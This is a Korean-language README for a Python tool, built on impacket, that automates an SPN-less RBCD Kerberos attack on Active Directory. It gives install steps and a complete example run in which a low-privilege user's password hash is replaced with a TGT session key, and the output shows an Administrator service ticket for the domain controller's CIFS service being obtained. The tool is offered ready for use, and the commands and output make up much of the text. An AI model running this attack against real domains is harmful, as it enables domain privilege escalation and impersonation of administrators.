
SPN-less RBCD 공격을 자동으로 수행하는 Python 도구

SPN-less 기법을 사용하여 Kerberos 서비스 티켓을 획득하는 Python 도구입니다. Exploiting RBCD Using a Normal User Account를 기반으로 합니다.
이 도구는 impacket 프로젝트를 사용합니다.
이 도구들은 Python 3.5+에서만 호환됩니다. GitHub에서 저장소를 클론하고, 의존성을 설치하면 바로 사용할 수 있습니다:
git clone https://github.com/jarnovandenbrink/getSPNless.git
cd getSPNless
python3 -m pip install .
virtualenv 사용을 권장합니다.
python3 getSPNless.py -spn cifs/DC01.pwn.local -dc-ip 192.168.2.64 -impersonate Administrator pwn.local/low:'Somepass1'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting a TGT
[*] Calculating RC4 value of the provided password
[*] NT Hash: :3ac433014b4d5b1b4bc8a5350153ea93
[*] Saving ticket in low.ccache
[*] Ticket Session Key: 37ff4701394ef659bdd724e5dca5c00f
[*] Changing the password of pwn.local\low
[*] Connecting to DCE/RPC as pwn.local\low
[*] Password was changed successfully.
[!] User might need to change their password at next logon because we set hashes (unless password never expires is set).
[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]
[*] To revert the password, run: changepasswd.py pwn.local/low:[email protected] -hashes :37ff4701394ef659bdd724e5dca5c00f -newpass Somepass1
또는 NT 해시를 사용할 수 있습니다. NT 해시를 사용하는 경우, 사용자 계정에 'password never expires' 플래그가 설정된 경우에만 비밀번호 복구가 가능합니다.
이 도구는 RBCD 공격을 수행할 때 머신 계정 요구 사항을 우회하는 방법을 제공합니다. 사용자 계정으로 RBCD를 수행할 때의 현재 문제는 KDC가 티켓에 사용할 암호화 키를 알 수 없다는 것입니다. 이 도구는 Kerberos TGT를 요청하고, 티켓 세션 키를 추출한 후, 사용자의 NT 해시를 수정하여 이 제한을 우회합니다. S4U2Self+U2U 및 S4U2Proxy를 사용하여 여전히 서비스 티켓을 획득할 수 있습니다. 개인적으로는 머신 계정이나 SPN-less RBCD 대신 PKINIT/UnPAC-the-Hash와 함께 섀도 자격 증명(shadow credentials)을 사용하는 것을 선호합니다. 그러나 MachineAccountQuota가 0으로 설정되고 ADCS를 사용할 수 없거나 PKINIT이 비활성화된 경우 좋은 대안이 됩니다. RC4 Kerberos 암호화 유형이 비활성화되어 있으면 공격이 작동하지 않습니다. Kerberos 유형 23 (Etype 23)을 확인하여 이를 확인할 수 있습니다.
이 프로젝트는 Cyber Cloud에서 근무하는 동안과 개인 시간에 일부 개발되었습니다. 이 작업을 개발하고 연구할 시간을 제공해 준 Cyber Cloud에 감사드립니다.